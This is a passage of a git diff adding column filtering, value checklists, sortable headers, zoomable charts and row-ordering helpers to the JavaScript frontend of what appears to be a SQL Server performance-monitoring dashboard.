+
+function filterCellEmpty(c, raw, text) {
+  const rawEmpty = isEmptyValue(raw) || (typeof raw === "string" && raw.trim() === "") || (Array.isArray(raw) && raw.length === 0);
+  if (!rawEmpty) return false;
+  if (typeof c.display !== "function" && typeof c.render !== "function") return true;
+  const t = text.trim();
+  return t === "" || t === "\u2014";
+}
+
+/* Whether one cell passes one filter. `kind` is the column's sort kind, `text` the rendered cell text, `raw` the
+   value the sort reads. A numeric operator needs a number on both sides; otherwise the row does not match. */
+function filterPasses(op, kind, term, c, raw, text) {
+  if (op === "isEmpty") return filterCellEmpty(c, raw, text);
+  if (op === "isNotEmpty") return !filterCellEmpty(c, raw, text);
+  const lower = text.toLowerCase();
+  const t = String(term).trim().toLowerCase();
+  if (op === "contains") return lower.includes(t);
+  if (kind === "number" && op !== "startsWith" && op !== "endsWith") {
+    const want = parseFilterNumber(term);
+    const have = sortKeyOf("number", raw);
+    if (want !== null && have !== null) {
+      return op === "equals" ? have === want : op === "notEquals" ? have !== want : op === "gt" ? have > want : op === "gte" ? have >= want : op === "lt" ? have < want : have <= want;
+    }
+    /* Not both numbers: Equals and Not equals fall back to the text, as the desktop does; an ordering has no answer. */
+    if (op === "equals") return lower === t;
+    if (op === "notEquals") return lower !== t;
+    return false;
+  }
+  const terms = t.split(",").map((x) => x.trim()).filter(Boolean);
+  if (!terms.length) return true;
+  if (op === "equals") return terms.some((x) => lower === x);
+  if (op === "notEquals") return terms.every((x) => lower !== x);
+  if (op === "startsWith") return terms.some((x) => lower.startsWith(x));
+  if (op === "endsWith") return terms.some((x) => lower.endsWith(x));
+  return true;
+}
+
+function gridFilter(desc, cols, head, tbody) {
+  const key = gridSortKey(desc, cols);
+  const idx = cols.map((_, i) => i).filter((i) => cols[i].filter !== false && cols[i].copy !== false);
+  if (!idx.length) return null;
+  loadGridFilters();
+  /* Drawing a grid uses it: the one the reader came back to is the last the store lets go of. */
+  if (gridFilters.has(key)) {
+    const mine = gridFilters.get(key);
+    gridFilters.delete(key);
+    gridFilters.set(key, mine);
+  }
+  /* A text match read back from the kept copy on a column that gets no list (valueList: false) is dropped: that text lasts
+     the session only. A value part it holds stays, shown read-only in the box with a way to clear it. */
+  const loaded = gridFilters.get(key);
+  if (loaded) {
+    let pruned = false;
+    for (const c of cols) {
+      const f = loaded.get(colId(c));
+      if (!f || f.session || listableColumn(c)) continue;
+      pruned = true;
+      if (valuesOn(f.values)) loaded.set(colId(c), { op: "contains", text: "", values: f.values, session: true });
+      else loaded.delete(colId(c));
+    }
+    if (pruned) {
+      if (!loaded.size) gridFilters.delete(key);
+      saveGridFilters();
+    }
+  }
+  const active = () => gridFilters.get(key) || new Map();
+  const bar = el("div", { class: "grid-filter-bar", role: "group", "aria-label": "Column filters" });
+  const popHolder = el("div", { class: "grid-filter-holder" });
+  const chips = el("div", { class: "grid-filter-chips" });
+  bar.appendChild(popHolder);
+  bar.appendChild(chips);
+  const btns = new Map();
+  /* A filter is { op, text, values? }; the value-less operators are active with no text, and a value part is active
+     when it hides or shows a chosen set. */
+  const isOn = filterIsOn;
+  let valuesRefresh = null; // rebuilds the open value list from the rows now
+  let valueSearchBox = null; // the open value list's search box
+  /* The sort kind of column i over the rows now in the body: number, time or text. */
+  const kindOf = (i) =>
+    sortKindOf(
+      cols[i],
+      Array.from(tbody.children, (tr) => (trRow.has(tr) ? columnValue(trRow.get(tr), cols[i]) : undefined))
+    );
+  /* The operator in force: a stored one the column's kind does not offer (the rows changed under it) falls back to Contains. */
+  const opFor = (f, kind) => (f && FILTER_OPS_BY_KIND[kind].includes(f.op) ? f.op : "contains");
+
+  /* What one cell is in the value list: the column's raw value, not the rendered text (#5565). A cell is blank when its
+     raw value is null, empty or whitespace, whatever the cell draws. A text column's raw value is the string the cell
+     renders, so for plain text the two are the same; they differ only where a column draws something other than its
+     value (a format, a badge), and then the raw value is what the desktop's list reads too. A raw value that is a list
+     or an object has no text of its own, so the rendered text stands for it. A row with no raw field at all
+     (undefined) under a column that draws its cell with `render` or `display` is a column built from other fields
+     (the Alerts Status column): the shown text stands for it, as it did before the list read raw values, so the list
+     holds what the cells show and a stored value that names a shown label still matches. */
+  function listCell(c, raw, text) {
+    if (raw === undefined && (typeof c.display === "function" || typeof c.render === "function")) {
+      return filterCellEmpty(c, raw, text) ? { blank: true, text: "" } : { blank: false, text };
+    }
+    if (isEmptyValue(raw) || (typeof raw === "string" && raw.trim() === "") || (Array.isArray(raw) && raw.length === 0)) return { blank: true, text: "" };
+    if (typeof raw === "string") return { blank: false, text: raw };
+    if (typeof raw === "number" || typeof raw === "boolean" || typeof raw === "bigint") return { blank: false, text: String(raw) };
+    return { blank: text.trim() === "", text };
+  }
+
+  function applyRows() {
+    const tests = [];
+    cols.forEach((c, i) => {
+      const f = active().get(colId(c));
+      if (isOn(f)) {
+        const kind = kindOf(i);
+        tests.push({ i, op: opFor(f, kind), kind, term: f.text ?? "", textOn: filterTextOn(f), vals: valuesOn(f.values) ? compileValues(f.values) : null });
+      }
+    });
+    let shown = 0;
+    let total = 0;
+    for (const tr of tbody.children) {
+      total++;
+      const out = tests.some(({ i, op, kind, term, textOn, vals }) => {
+        const td = tr.children[i];
+        if (!td) return true;
+        const raw = trRow.has(tr) ? columnValue(trRow.get(tr), cols[i]) : undefined;
+        if (textOn && !filterPasses(op, kind, term, cols[i], raw, td.textContent)) return true;
+        if (!vals) return false;
+        const cell = listCell(cols[i], raw, td.textContent);
+        return !valuePasses(vals, cell.blank, cell.text);
+      });
+      if (out) filteredOut.add(tr);
+      else {
+        filteredOut.delete(tr);
+        shown++;
+      }
+      if (tr.style) tr.style.display = out ? "none" : "";
+    }
+    return { shown, total, tests: tests.length };
+  }
+
+  /* Change one column's filter: `patch` is merged over what it holds, a filter that narrows nothing is dropped, and
+     the active filters are kept. The text part and the value part change on their own. */
+  function patchFilter(c, patch) {
+    const next = new Map(active());
+    const cur = next.get(colId(c)) || { op: "contains", text: "" };
+    const merged = { ...cur, ...patch };
+    if (!valuesOn(merged.values)) delete merged.values;
+    /* A text match on a column that gets no list (statement, query, plan, XML, message...) lasts the session: it is
+       never written to the kept copy, and never read back (serializeFilters, parseFilters). */
+    if (!listableColumn(c)) merged.session = true;
+    if (isOn(merged)) next.set(colId(c), merged);
+    else next.delete(colId(c));
+    gridFilters.delete(key);
+    if (next.size) gridFilters.set(key, next);
+    saveGridFilters();
+  }
+  const setFilter = (c, op, text) => patchFilter(c, { op, text });
+  const clearColumn = (c) => patchFilter(c, { op: "contains", text: "", values: NO_VALUES });
+
+  function renderChips() {
+    const r = applyRows();
+    chips.textContent = "";
+    if (r.tests) {
+      for (const i of idx) {
+        const c = cols[i];
+        const f = active().get(colId(c));
+        if (!isOn(f)) continue;
+        const op = opFor(f, kindOf(i));
+        const textChip = !filterTextOn(f) ? "" : op === "contains" ? String(f.text).trim() : FILTER_OP_LABELS[op] + (filterNeedsNoText(op) ? "" : " " + String(f.text).trim());
+        const chipText = [valuesPhrase(f.values), textChip].filter(Boolean).join(", ");
+        const x = el("button", { type: "button", class: "grid-filter-x", text: "×", title: "Clear the filter on " + c.label, "aria-label": "Clear the filter on " + c.label });
+        x.addEventListener("click", () => {
+          clearColumn(c);
+          renderPop();
+          renderChips();
+        });
+        chips.appendChild(el("span", { class: "grid-filter-chip" }, [el("span", { text: c.label + ": " + chipText }), x]));
+      }
+      const all = el("button", { type: "button", class: "btn grid-filter-clear-all", text: "Clear all filters" });
+      all.addEventListener("click", () => {
+        gridFilters.delete(key);
+        saveGridFilters();
+        renderPop();
+        renderChips();
+      });
+      chips.appendChild(all);
+      chips.appendChild(el("span", { class: "grid-filter-count", role: "status", "aria-live": "polite", text: "Showing " + r.shown + " of " + r.total + " rows" }));
+    }
+    for (const [i, b] of btns) {
+      const on = isOn(active().get(colId(cols[i])));
+      b.className = "col-filter-btn" + (on ? " on" : "");
+      b.setAttribute("aria-pressed", on ? "true" : "false");
+    }
+    if (bar.style) bar.style.display = r.tests || gridFilterOpen.has(key) ? "" : "none";
+  }
+
+  function close(refocus) {
+    const open = gridFilterOpen.get(key);
+    gridFilterOpen.delete(key);
+    gridFilterTyping.delete(key);
+    gridValueTyping.delete(key);
+    gridValueSearch.delete(key);
+    renderPop();
+    renderChips();
+    const i = cols.findIndex((c) => colId(c) === open);
+    const b = btns.get(i);
+    if (refocus && b && typeof b.focus === "function") b.focus();
+  }
+
+  /* The distinct values of column i over every row the body holds now (before any filter), and whether the column is
+     offered as a list: a text column, not opted out by `valueList: false` or by the shared name rule (query and
+     statement text, plans, XML, scripts, messages, details, descriptions, errors), and no value longer than
+     VALUE_LIST_MAX_LEN. */
+  function universeOf(i) {
+    const c = cols[i];
+    return collectValues(
+      Array.from(tbody.children, (tr) => {
+        const td = tr.children[i];
+        return listCell(c, trRow.has(tr) ? columnValue(trRow.get(tr), c) : undefined, td ? td.textContent : "");
+      })
+    );
+  }
+  const listed = (i, uni) => listableColumn(cols[i]) && kindOf(i) === "text" && uni.maxLen <= VALUE_LIST_MAX_LEN;
+
+  /* The checklist under the text match: a search box, Select All, "(Blanks)" when any cell is blank and one checkbox
+     per value, at most VALUE_LIST_CAP of them (the search reaches the rest). Ticking works on the whole list, not on
+     what the search shows, except Select All, which ticks or unticks every value the search matches. Returns null for a
+     column that is not offered a list. */
+  function valuesSection(c, i) {
+    if (!listed(i, universeOf(i))) return null;
+    const id = colId(c);
+    const search = el("input", { type: "search", class: "gfv-search", "aria-label": "Search the values of " + c.label, placeholder: "Search values…" });
+    search.value = gridValueSearch.get(key) || "";
+    const allBox = el("input", { type: "checkbox", "aria-label": "Select All" });
+    const allRow = el("label", { class: "gfv-item gfv-all" }, [allBox, el("span", { text: "Select All" })]);
+    const list = el("div", { class: "gfv-list", role: "group", "aria-label": "Values of " + c.label });
+    const capNote = el("div", { class: "gfv-note gfv-cap-note", role: "status", "aria-live": "polite" });
+    const noneNote = el("div", { class: "gfv-note gfv-none-note", role: "status", "aria-live": "polite" });
+    const node = el("div", { class: "grid-filter-values" }, [search, allRow, list, capNote, noneNote]);
+    let uni = null;
+    let matches = [];
+    let items = []; // { box, key } for a value, { box, blank: true } for (Blanks)
+    const current = () => (active().get(id) || {}).values || NO_VALUES;
+    const query = () => valueKey(search.value.trim()); // folded like the values, as .NET OrdinalIgnoreCase does
+    const blankListed = () => uni.blank && query() === "";
+
+    /* Set the boxes from the filter in force; the boxes stay where they are, so keyboard focus is not lost. */
+    function sync() {
+      const v = compileValues(current());
+      let ticked = 0;
+      for (const it of items) {
+        const on = it.blank ? valuePasses(v, true, "") : valuePasses(v, false, it.value);
+        it.box.checked = on;
+        if (on) ticked++;
+      }
+      allBox.checked = items.length > 0 && ticked === items.length;
+      allBox.indeterminate = ticked > 0 && ticked < items.length;
+      const f = current();
+      noneNote.textContent = f.mode === "showOnly" && f.set.length === 0 && !f.blank ? "No values are ticked, so no rows show." : "";
+    }
+
+    /* Rebuild the rows from the grid and the search text. */
+    function rebuild() {
+      uni = universeOf(i);
+      const q = query();
+      matches = q ? uni.values.filter((v) => valueKey(v).includes(q)) : uni.values;
+      const shownValues = matches.slice(0, VALUE_LIST_CAP);
+      items = [];
+      const rows = [];
+      if (blankListed()) {
+        const box = el("input", { type: "checkbox", "aria-label": "(Blanks)" });
+        box.addEventListener("change", () => change((m) => (m.blank = box.checked)));
+        items.push({ box, blank: true });
+        rows.push(el("label", { class: "gfv-item gfv-blank" }, [box, el("span", { text: "(Blanks)" })]));
+      }
+      for (const v of shownValues) {
+        const box = el("input", { type: "checkbox", "aria-label": v });
+        box.addEventListener("change", () => change((m) => (box.checked ? m.ticked.add(valueKey(v)) : m.ticked.delete(valueKey(v)))));
+        items.push({ box, value: v });
+        rows.push(el("label", { class: "gfv-item" }, [box, el("span", { text: v })]));
+      }
+      list.textContent = "";
+      for (const r of rows) list.appendChild(r);
+      if (!rows.length) list.appendChild(el("div", { class: "gfv-empty", text: q ? "No value matches the search." : "No values." }));
+      capNote.textContent = matches.length > VALUE_LIST_CAP ? "Showing " + VALUE_LIST_CAP.toLocaleString("en-US") + " of " + matches.length.toLocaleString("en-US") + " values. Search to find the rest." : "";
+      sync();
+    }
+
+    function change(mutate) {
+      patchFilter(c, { values: nextValues(uni, current(), mutate) });
+      renderChips();
+      sync();
+    }
+
+    allBox.addEventListener("change", () => {
+      const on = allBox.checked;
+      change((m) => {
+        for (const v of matches) {
+          if (on) m.ticked.add(valueKey(v));
+          else m.ticked.delete(valueKey(v));
+        }
+        if (blankListed()) m.blank = on;
+      });
+    });
+    search.addEventListener("input", () => {
+      gridValueSearch.set(key, search.value);
+      rebuild();
+    });
+    search.addEventListener("focus", () => gridValueTyping.add(key));
+    rebuild();
+    return { node, search, refresh: rebuild, sync };
+  }
+
+  function renderPop() {
+    popHolder.textContent = "";
+    valuesRefresh = null;
+    const open = gridFilterOpen.get(key);
+    const i = open == null ? -1 : cols.findIndex((c) => colId(c) === open);
+    if (i < 0 || !btns.has(i)) {
+      gridFilterOpen.delete(key);
+      return null;
+    }
+    const c = cols[i];
+    const input = el("input", { type: "text", class: "grid-filter-input", "aria-label": "Filter " + c.label, placeholder: "contains…" });
+    const stored = active().get(colId(c));
+    const kind = kindOf(i);
+    const ops = FILTER_OPS_BY_KIND[kind];
+    let op = opFor(stored, kind);
+    input.value = stored ? stored.text ?? "" : "";
+    const opSel = el("select", { class: "grid-filter-op", "aria-label": "Match " + c.label }, ops.map((o) => el("option", { value: o, text: FILTER_OP_LABELS[o] })));
+    opSel.value = op;
+    const syncInput = () => {
+      if (input.style) input.style.display = filterNeedsNoText(op) ? "none" : "";
+    };
+    syncInput();
+    const clear = el("button", { type: "button", class: "btn grid-filter-clear", text: "Clear" });
+    const done = el("button", { type: "button", class: "btn grid-filter-close", text: "Close" });
+    const values = valuesSection(c, i);
+    /* A value part kept on a column that no longer gets a list: shown read-only, with a way to clear it. */
+    let kept = null;
+    if (!values && stored && valuesOn(stored.values)) {
+      const clearKept = el("button", { type: "button", class: "btn gfv-kept-clear", text: "Clear the value filter" });
+      clearKept.addEventListener("click", () => {
+        patchFilter(c, { values: NO_VALUES });
+        renderPop();
+        renderChips();
+      });
+      kept = el("div", { class: "gfv-kept" }, [el("span", { class: "gfv-note gfv-kept-note", text: "A kept value filter " + valuesPhrase(stored.values) + ". This column has no value list." }), clearKept]);
+    }
+    const panel = el("div", { class: "grid-filter-pop", role: "dialog", "aria-label": "Filter " + c.label }, [el("span", { class: "grid-filter-label", text: c.label }), ops.length > 1 ? opSel : null, input, clear, done, values ? values.node : kept].filter(Boolean));
+    if (values) valuesRefresh = values.refresh;
+    valueSearchBox = values ? values.search : null;
+    input.addEventListener("input", () => {
+      setFilter(c, op, input.value);
+      renderChips();
+    });
+    opSel.addEventListener("change", () => {
+      op = opSel.value;
+      setFilter(c, op, input.value);
+      syncInput();
+      renderChips();
+    });
+    input.addEventListener("focus", () => gridFilterTyping.add(key));
+    input.addEventListener("keydown", (e) => {
+      if (e.key === "Enter") {
+        e.preventDefault();
+        close(true);
+      }
+    });
+    clear.addEventListener("click", () => {
+      clearColumn(c);
+      input.value = "";
+      if (values) values.sync();
+      renderChips();
+      if (typeof input.focus === "function") input.focus();
+    });
+    done.addEventListener("click", () => close(true));
+    panel.addEventListener("keydown", (e) => {
+      if (e.key === "Escape") {
+        e.preventDefault();
+        close(true);
+      }
+    });
+    panel.addEventListener("focusout", (e) => {
+      const to = e && e.relatedTarget;
+      if (to && (to === btns.get(i) || (typeof panel.contains === "function" && panel.contains(to)))) return;
+      setTimeout(() => {
+        if (panel.isConnected === false || gridFilterOpen.get(key) !== colId(c)) return;
+        const at = typeof document !== "undefined" ? document.activeElement : null;
+        if (at && typeof panel.contains === "function" && panel.contains(at)) return;
+        gridFilterTyping.delete(key);
+        gridValueTyping.delete(key);
+        close(false);
+      }, 0);
+    });
+    popHolder.appendChild(panel);
+    return input;
+  }
+
+  for (const i of idx) {
+    const c = cols[i];
+    const b = el("button", { type: "button", class: "col-filter-btn", title: "Filter " + c.label, "aria-label": "Filter " + c.label, "aria-pressed": "false" });
+    /* The header's own click and key handlers sort; this button must not reach them. */
+    b.addEventListener("click", (e) => {
+      if (e && typeof e.stopPropagation === "function") e.stopPropagation();
+      if (gridFilterOpen.get(key) === colId(c)) return close(true);
+      gridFilterOpen.set(key, colId(c));
+      const input = renderPop();
+      renderChips();
+      if (input && typeof input.focus === "function") input.focus();
+    });
+    b.addEventListener("keydown", (e) => {
+      if (e && typeof e.stopPropagation === "function") e.stopPropagation();
+    });
+    btns.set(i, b);
+    if (head.children[i]) head.children[i].appendChild(b);
+  }
+  const input = renderPop();
+  renderChips();
+  tbodyFilter.set(tbody, {
+    reapply: () => {
+      renderChips();
+      if (valuesRefresh) valuesRefresh();
+    },
+  });
+  /* The page was redrawn while a box had the focus: give it back once the new box is in the document. */
+  const refocus = gridValueTyping.has(key) && valueSearchBox ? valueSearchBox : input && gridFilterTyping.has(key) ? input : null;
+  if (refocus) {
+    setTimeout(() => {
+      if (refocus.isConnected !== false && typeof refocus.focus === "function") refocus.focus();
+    }, 0);
+  }
+  return bar;
+}
+
+/* An unsortable header cell. The sortable one is built by makeGridSort().headerCell; both are the place a later
+   header affordance (a filter, a menu) attaches. */
+function headerCell(c) {
+  return el("th", { text: c.label, class: isNumericCol(c) ? "num" : null });
+}
+
+/* The sort state of every grid, at MODULE scope so the 60 s poll's rebuild of a page re-applies the chosen sort.
+   Keyed by gridSortKey(): the route (the hash without its query, so a server or tab switch is a different table)
+   plus the descriptor's identity plus its column set. State: { col, dir } with dir "asc" | "desc"; absent means
+   the server's order. */
+const gridSortState = new Map(); // grows by one entry per table the session sorts (routes x tables), so it is bounded and never pruned
+/* tr -> its row object, so a grid whose rows are reconciled in place (Alert History) can re-sort what is in the DOM. */
+const trRow = new WeakMap();
+const tbodyGrid = new WeakMap();
+/* The cell each grid's Copy cell / Copy row act on (see gridTools), keyed like the sort state. */
+const gridPicked = new Map(); // one entry per table the session clicks in; bounded by routes x tables
+/* The column groups switched on for each grid (see columnPicker), keyed like the sort state; absent means defaultGroups. */
+const gridGroupsOn = new Map(); // one entry per grouped table the session toggles; bounded by routes x tables
+
+/* The table identity: `desc.sortId`, else `desc.id`, else `desc.title`, else `desc.rowsKey`. Panels built by
+   renderPanel carry a title; the FinOps tabs call VIZ.table with a rowsKey, and two grids of one tab can share one,
+   so the identity also carries the column keys. */
+function gridSortKey(desc, cols) {
+  const route = typeof location !== "undefined" && location && typeof location.hash === "string" ? location.hash.split("?")[0] : "";
+  const id = desc.sortId ?? desc.id ?? desc.title ?? desc.rowsKey ?? "";
+  return route + "|" + id + "|" + cols.map(colId).join(",");
+}
+
+function colId(c) {
+  return String(c.key ?? "") + "\u0001" + String(c.label ?? "");
+}
+
+function isEmptyValue(v) {
+  return v == null || v === "" || (typeof v === "number" && Number.isNaN(v));
+}
+
+/* "time" | "number" | "text" for a column, from how it declares its format; a column with no format decides from
+   its values (every present one a number is a number). */
+function sortKindOf(c, values) {
+  if (c.format === "time" || c.format === "reltime") return "time";
+  if (c.format === "bool") return "number";
+  if (isNumericCol(c)) return "number";
+  const present = values.filter((v) => !isEmptyValue(v));
+  return present.length && present.every((v) => typeof v === "number") ? "number" : "text";
+}
+
+/* The raw value a column holds for a row: what the sort orders by and what the numeric filters compare. */
+function columnValue(row, c) {
+  return typeof c.sortValue === "function" ? c.sortValue(row) : getPath(row, c.key);
+}
+
+function sortKeyOf(kind, v) {
+  if (isEmptyValue(v)) return null;
+  if (kind === "time") {
+    const d = v instanceof Date ? v : parseUtc(typeof v === "string" ? v : null);
+    return d && !Number.isNaN(d.getTime()) ? d.getTime() : typeof v === "number" ? v : null;
+  }
+  if (kind === "number") {
+    const n = typeof v === "boolean" ? (v ? 1 : 0) : Number(v);
+    return Number.isNaN(n) ? null : n;
+  }
+  return String(v).toLowerCase();
+}
+
+/** Compare two sort keys (null last, regardless of dir). Exported for the behaviour test. */
+export function compareSortKeys(a, b, dir) {
+  if (a === null && b === null) return 0;
+  if (a === null) return 1;
+  if (b === null) return -1;
+  const r = a < b ? -1 : a > b ? 1 : 0;
+  return dir === "desc" ? -r : r;
+}
+
+function makeGridSort(desc, cols, rows) {
+  const stateKey = gridSortKey(desc, cols);
+  let kinds = [];
+  let sortable = [];
+  /* A column sorts when it is not opted out, some row has a value to sort on (a custom-render column over a key the
+     rows do not carry has nothing to order), and that value is not an array or object (a list cell has no order
+     unless the column supplies a sortValue). Recomputed from the rows whenever they change. */
+  function classify(rowList) {
+    kinds = cols.map((c) => sortKindOf(c, rowList.map((r) => valueOf(r, c))));
+    sortable = cols.map((c) => {
+      if (c.sortable === false) return false;
+      const present = rowList.map((r) => valueOf(r, c)).filter((v) => !isEmptyValue(v));
+      return present.length > 0 && (typeof c.sortValue === "function" || !present.some((v) => typeof v === "object" && !(v instanceof Date)));
+    });
+    grid.sortable = sortable;
+  }
+  const ths = [];
+  let tbody = null;
+  let moved = false;
+
+  const valueOf = columnValue;
+
+  function indicate() {
+    const st = gridSortState.get(stateKey);
+    cols.forEach((c, i) => {
+      const th = ths[i];
+      if (!th) return;
+      const live = sortable[i];
+      th.className = live ? "sortable" + (isNumericCol(c) ? " num" : "") : isNumericCol(c) ? "num" : "";
+      th.setAttribute("tabindex", live ? "0" : "-1");
+      th.setAttribute("title", live ? "Sort by " + c.label : "");
+      const on = live && st && st.col === colId(c);
+      th.setAttribute("aria-sort", on ? (st.dir === "asc" ? "ascending" : "descending") : "none");
+      th.sortInd.textContent = on ? (st.dir === "asc" ? " ▲" : " ▼") : "";
+    });
+  }
+
+  /* Orders `trs` (taken as the server's order) by the current state and puts them in the tbody. */
+  function apply(trs) {
+    const st = gridSortState.get(stateKey);
+    let ordered = trs;
+    const ci = st ? cols.findIndex((c) => colId(c) === st.col) : -1;
+    if (ci >= 0 && sortable[ci]) {
+      const keyed = trs.map((tr, i) => ({ tr, i, k: sortKeyOf(kinds[ci], valueOf(trRow.get(tr), cols[ci])) }));
+      keyed.sort((x, y) => compareSortKeys(x.k, y.k, st.dir) || x.i - y.i);
+      ordered = keyed.map((x) => x.tr);
+    }
+    /* A grid still in the server's order (no sort chosen, none undone) is left as built: the DOM is only touched
+       once a sort has been in play. */
+    if (ordered !== trs || moved) {
+      for (const tr of ordered) tbody.appendChild(tr);
+      moved = ordered !== trs;
+    }
+    indicate();
+  }
+
+  const grid = {
+    sortable: [],
+    /* A header for every column that is not opted out: whether it carries the sort affordance is re-decided by
+       indicate() against the current rows. */
+    eligible: cols.map((c) => c.sortable !== false),
+    headerCell(c, i) {
+      const ind = el("span", { class: "sort-ind", "aria-hidden": "true" });
+      const th = el("th", { class: "sortable" + (isNumericCol(c) ? " num" : ""), tabindex: "0", "aria-sort": "none", title: "Sort by " + c.label }, [c.label, ind]);
+      th.sortInd = ind;
+      const cycle = () => {
+        if (!sortable[i]) return;
+        const st = gridSortState.get(stateKey);
+        const id = colId(c);
+        if (!st || st.col !== id) gridSortState.set(stateKey, { col: id, dir: "asc" });
+        else if (st.dir === "asc") gridSortState.set(stateKey, { col: id, dir: "desc" });
+        else gridSortState.delete(stateKey);
+        apply(grid.serverOrder);
+      };
+      th.addEventListener("click", cycle);
+      th.addEventListener("keydown", (e) => {
+        if (e.key === "Enter" || e.key === " ") {
+          e.preventDefault();
+          cycle();
+        }
+      });
+      ths[i] = th;
+      return th;
+    },
+    syncHeads: () => indicate(),
+    serverOrder: [],
+    attach(body, trs) {
+      tbody = body;
+      grid.serverOrder = trs.slice();
+      classify(trs.map((tr) => trRow.get(tr)));
+      tbodyGrid.set(body, grid);
+      apply(grid.serverOrder);
+    },
+    /* The tbody's rows were reconciled in place into the server's order: take that as the new server order. */
+    reapply() {
+      grid.serverOrder = [...tbody.children];
+      classify(grid.serverOrder.map((tr) => trRow.get(tr)));
+      apply(grid.serverOrder);
+    },
+  };
+  return grid;
+}
+
+/** The row object a rendered grid row was built from (a sorted grid's DOM order is not the row order). */
+export function gridRowOf(tr) {
+  return trRow.get(tr);
+}
+
+/** For a grid whose rows are reconciled in place (Alert History): after putting the rows back in the server's order,
+    call this with the tbody to re-apply the chosen sort. A tbody that is not a sortable grid is left alone. */
+export function reapplyGridSort(tbody) {
+  const g = tbody && tbodyGrid.get(tbody);
+  if (g) g.reapply();
+  const f = tbody && tbodyFilter.get(tbody);
+  if (f) f.reapply();
+}
+
 /* A table column may depend on the rows: `hideWhenEmpty: true` drops it when no row has a value at its key (null,
    undefined or "" is empty; 0 and false are values). Database Sizes uses it for its Note column, which only the row
    for another database on an Azure SQL Database server fills, so every other server shows no column of dashes. A
@@ -219,6 +1213,8 @@ function cell(row, c) {
     const rcls = [];
     if (c.wrap) rcls.push("wrap");
     if (c.mono) rcls.push("mono");
+    if (c.pre) rcls.push("pre");
+    if (typeof c.cellClass === "function") { const k = c.cellClass(row); if (k) rcls.push(k); }
     return el("td", { class: rcls.join(" ") || null }, [c.render(row)]);
   }
   const raw = getPath(row, c.key);
@@ -226,8 +1222,10 @@ function cell(row, c) {
   if (isNumericCol(c)) cls.push("num");
   if (c.wrap) cls.push("wrap");
   if (c.mono) cls.push("mono");
+  if (c.pre) cls.push("pre");
   if (c.sevKey) cls.push(sevClass(getPath(row, c.sevKey)));
   if (c.statusSev) cls.push(sevClass(statusToSev(raw)));
+  if (typeof c.cellClass === "function") { const k = c.cellClass(row); if (k) cls.push(k); }
   /* nullKey names another field of the SAME row that says why this one is empty (get_file_io_stats' size_note:
      "n/a (log service)" for the log file of a Hyperscale database). The server wrote the sentence; the page only
      shows it in place of the bare em dash. */
@@ -235,11 +1233,17 @@ function cell(row, c) {
   const text =
     why != null && why !== ""
       ? String(why)
-      : c.format
+      : typeof c.display === "function"
+        ? String(c.display(row) ?? "—")
+        : c.format
         ? applyFormat(c.format, raw)
         : raw == null || raw === ""
           ? "—"
-          : String(raw);
+          : c.plain === "named"
+            ? plainTextNamed(String(raw))
+            : c.plain
+              ? plainText(String(raw))
+              : String(raw);
   return el("td", { class: cls.join(" ") || null, text });
 }
 
@@ -273,10 +1277,13 @@ function vizStat(data, desc) {
      key with a value still renders the tiles, and a descriptor with no emptyText (every stored view, and
      every SQL Server tile on the server page) falls through unchanged. */
   if (desc.emptyText && stats.every((s) => getPath(data, s.key) == null)) return emptyStrip(desc.emptyText);
+  /* `hideWhenEmpty` drops a tile whose value is missing (and that has no sentence of its own to show instead): a panel
+     of fifteen tiles, half of them dashes, said less than the seven that had a value. */
+  const shown = stats.filter((s) => !(s.hideWhenEmpty && getPath(data, s.key) == null && !(s.nullKey && getPath(data, s.nullKey))));
   return el(
     "div",
     { class: "stats" },
-    stats.map((s) => {
+    shown.map((s) => {
       const sev = s.sev || s.severity;
       const valueClass = "value" + (s.small ? " small" : "") + (sev ? " " + sevClass(sev) : "");
       const raw = getPath(data, s.key);
@@ -319,7 +1326,11 @@ function vizLine(data, desc) {
      params) or when loadPanelBody narrowed the read to the history it keeps, else desc.params.hours. Absent ⇒
      null ⇒ the chart keeps its data-extent domain, unchanged. */
   const win = windowFromHours(desc.windowHours != null ? desc.windowHours : desc.params && desc.params.hours);
-  return renderLineChart({
+  /* Drag-to-zoom over the loaded points (zoomableLineChart, charts.js). The zoom is held under this chart's
+     identity (title, read and series) and the page's scope (server + tab + preset range), so the poll's rebuild
+     draws it again and a different server, tab or range does not. */
+  const zoomId = [desc.title || "", desc.read || desc.path || "", desc.xKey, seriesCfg.map((s) => s.key).join(",")].join("|");
+  return zoomableLineChart({
     points,
     xKey: desc.xKey,
     series,
@@ -329,9 +1340,12 @@ function vizLine(data, desc) {
        whole-number formatter as the same label several times over ("1 1 1 0 0 0" on a blocking-events axis). */
     integerTicks: desc.format === "int",
     unit: desc.unit ?? null,
+    title: desc.title || null,
+    atTime: desc.atTime || null,
+    source: desc.read || desc.path ? { read: desc.read || desc.path, params: desc.params || null } : null,
     windowStart: win ? win.windowStart : null,
     windowEnd: win ? win.windowEnd : null,
-  });
+  }, zoomId, chartZoomScope(desc.windowHours != null ? desc.windowHours : desc.params && desc.params.hours));
 }
 
 /* bandlist: desc = { rowsKey, primaryKey, bandKey, bandLabelKey?, reasonKey?, navKey?, emptyText? } */
@@ -365,6 +1379,33 @@ export function navigateServer(serverName) {
   location.hash = "#/server/" + encodeURIComponent(serverName);
 }
 
+/** Collector rows worst first (Failing, then Warning, then the rest, then Healthy, then not applicable), each group in
+    name order: the order a person reading the grid wants, instead of A to Z. A new array; the rows are not changed. */
+export function worstFirst(rows) {
+  const rank = (row) => {
+    if (String(row && row.status).toLowerCase() === "not_collected") return 4;
+    switch (statusToSev(row && row.status)) {
+      case "Critical": return 0;
+      case "Warning": return 1;
+      case "Unknown": return 2;
+      default: return 3;
+    }
+  };
+  return rows
+    .map((row, i) => ({ row, i }))
+    .sort((a, b) => rank(a.row) - rank(b.row) || String(a.row && a.row.collector).localeCompare(String(b.row && b.row.collector)) || a.i - b.i)
+    .map((x) => x.row);
+}
+
+/** Rows newest first by a text date key (an ISO day sorts as text): `newestFirst("summary_date")`. */
+export function newestFirst(key) {
+  return (rows) =>
+    rows
+      .map((row, i) => ({ row, i }))
+      .sort((a, b) => String(b.row && b.row[key]).localeCompare(String(a.row && a.row[key])) || a.i - b.i)
+      .map((x) => x.row);
+}
+
 /**
  * Map a collector/status STRING (already computed server-side) to a severity CSS class — this is coloring a
  * pre-computed label, not re-deriving a band from raw metrics (R1: the browser never re-computes thresholds).
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plain-text.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plain-text.js
new file mode 100644
index 0000000000..0cd536ed73
--- /dev/null
